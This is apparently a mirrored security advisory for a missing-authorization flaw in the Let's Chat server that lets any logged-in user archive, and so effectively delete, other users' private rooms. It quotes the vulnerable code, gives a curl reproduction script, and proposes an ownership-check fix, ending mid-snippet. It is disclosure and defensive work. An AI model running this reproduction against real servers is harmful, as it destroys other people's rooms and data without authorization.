Share
## https://sploitus.com/exploit?id=PACKETSTORM:227188
# Security Advisory: Insufficient Access Controls Allow for Unauthorized Room Deletion (Let's Chat)
    
    **Assigned CVE ID:** CVE-2026-66751
    
    ## Summary
    
    `DELETE /rooms/:room` performs no authorization check beyond requiring a login. Any account
    can archive any room on the server, including private, password protected rooms that the
    same account is not allowed to read, join, or modify.
    
    Archiving is how Let's Chat deletes rooms. The room disappears from the room list, direct
    lookups return 404, and posting messages or uploading files to it is refused. There is no
    code path in the application that reverses it.
    
    ## Affected versions
    
    Repo URL: https://github.com/sdelements/lets-chat
    
    Vulnerable from 0.3.0 (commit `5b5f46f`, 2 Jan 2015, "Rooms are archived, instead of
    deleted") through 0.4.8, the final release. No fixed version exists.
    
    Private and password protected rooms arrived in 0.4.0, so the case where an attacker
    destroys a room whose contents they cannot see applies from 0.4.0 onward. The missing check
    itself dates from 0.3.0.
    
    Confirmed on 0.4.8 at commit `617207f`, and on `docker.io/sdelements/lets-chat:latest`
    (0.4.7).
    
    ## Classification
    
    CWE-862: Missing Authorization.
    
    CVSS 4.0 base score 5.3 (Medium)
    `CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N`
    
    ## Threat model
    
    The attacker needs one ordinary user account and network access to the HTTP port. They do
    not need to own the room, belong to it, know its password, or hold any elevated role.
    Self registration is enabled by default (`auth.local.enableRegistration` in `defaults.yml`).
    
    Target selection costs nothing. `GET /rooms` lists password protected rooms to every user by
    design, so the attacker can read the full list of room ids and archive each one in turn.
    
    ## Technical detail
    
    The route requires a login and resolves the room, and nothing more.
    `app/controllers/rooms.js:99-109`:
    
    ```js
    app.route('/rooms/:room')
        .all(middlewares.requireLogin, middlewares.roomRoute)
        .get(function(req) {
            req.io.route('rooms:get');
        })
        .put(function(req) {
            req.io.route('rooms:update');
        })
        .delete(function(req) {
            req.io.route('rooms:archive');
        });
    ```
    
    The handler passes only a room id downstream. It never looks at `req.user`.
    `app/controllers/rooms.js:217-232`:
    
    ```js
    archive: function(req, res) {
        var roomId = req.param('room') || req.param('id');
    
        core.rooms.archive(roomId, function(err, room) {
            if (err) {
                console.log(err);
                return res.sendStatus(400);
            }
    
            if (!room) {
                return res.sendStatus(404);
            }
    
            res.sendStatus(204);
        });
    },
    ```
    
    The manager takes no user argument, so it cannot check ownership even in principle.
    `app/core/rooms.js:123-137`:
    
    ```js
    RoomManager.prototype.archive = function(roomId, cb) {
        var Room = mongoose.model('Room');
    
        Room.findById(roomId, function(err, room) {
            if (err) {
                console.error(err);
                return cb(err);
            }
    
            if (!room) {
                return cb('Room does not exist.');
            }
    
            room.archived = true;
    ```
    
    The neighbouring update path does check ownership, which is what makes this look like an
    oversight rather than a deliberate choice. `app/core/rooms.js:89-91`:
    
    ```js
    if(room.private && !room.owner.equals(options.user.id)) {
        return cb('Only owner can change private room.');
    }
    ```
    
    The client agrees with the stricter reading. `media/js/views/room.js:28-31` decides who sees
    the edit control, and the Archive Room button sits inside the edit modal that this control
    opens:
    
    ```js
    var iAmOwner = this.model.get('owner') === this.client.user.id;
    var iCanEdit = iAmOwner || !this.model.get('hasPassword');
    
    this.model.set('iAmOwner', iAmOwner);
    this.model.set('iCanEdit', iCanEdit);
    ```
    
    For a password protected room a non owner never sees the button. The restriction exists only
    in the browser.
    
    ## Reproduction
    
    Requires `rooms.private: true` (or `LCB_ROOMS_PRIVATE=true`) so that private rooms can be
    created. The missing check itself applies to every room regardless of that setting.
    
    ```bash
    BASE=http://localhost:5000
    
    # Two unrelated accounts.
    for U in victim attacker; do
      curl -s -X POST $BASE/account/register \
        -H 'Content-Type: application/json' \
        -d "{\"username\":\"$U\",\"email\":\"$U@example.com\",
             \"password\":\"Passw0rd!23\",\"password-confirm\":\"Passw0rd!23\",
             \"firstName\":\"$U\",\"lastName\":\"T\",\"displayName\":\"$U\"}"
      curl -s -c $U.txt -X POST $BASE/account/login \
        -H 'Content-Type: application/json' \
        -d "{\"username\":\"$U\",\"password\":\"Passw0rd!23\"}"
    done
    
    # The victim creates a private, password protected room. Note the returned id.
    curl -s -b victim.txt -X POST $BASE/rooms \
      -H 'Content-Type: application/json' \
      -d '{"name":"Board","slug":"board","private":true,"password":"S3cretRoomPw!"}'
    
    RID=<id from the response above>
    
    # The attacker cannot read it and cannot modify it.
    curl -s -b attacker.txt "$BASE/messages?room=$RID"
    curl -s -b attacker.txt -X PUT $BASE/rooms/$RID \
      -H 'Content-Type: application/json' -d '{"name":"x"}'
    
    # The attacker archives it anyway.
    curl -s -o /dev/null -w '%{http_code}\n' -b attacker.txt -X DELETE $BASE/rooms/$RID
    
    # The owner can no longer reach their own room.
    curl -s -o /dev/null -w '%{http_code}\n' -b victim.txt $BASE/rooms/$RID
    ```
    
    ## Impact
    
    After the request the room is gone from `GET /rooms` for every user, `GET /rooms/:id`
    returns 404, and `messages:create` and `files:create` reject it
    (`app/core/messages.js:28-30`, `app/core/files.js:55-57`). Nothing in `app/` sets `archived`
    back to `false`, so recovery needs direct database access.
    
    ## Suggested fix
    
    Pass the caller into the manager and check ownership before archiving, matching what
    `update` already does. In `app/controllers/rooms.js:217`:
    
    ```js
    archive: function(req, res) {
        var roomId = req.param('room') || req.param('id');
    
        core.rooms.archive(roomId, { user: req.user }, function(err, room) {
    ```
    
    and in `app/core/rooms.js:123`, after the `if (!room)` check:
    
    ```js
    if (!room.owner.equals(options.user.id)) {
        return cb('Only the owner can archive this room.');
    }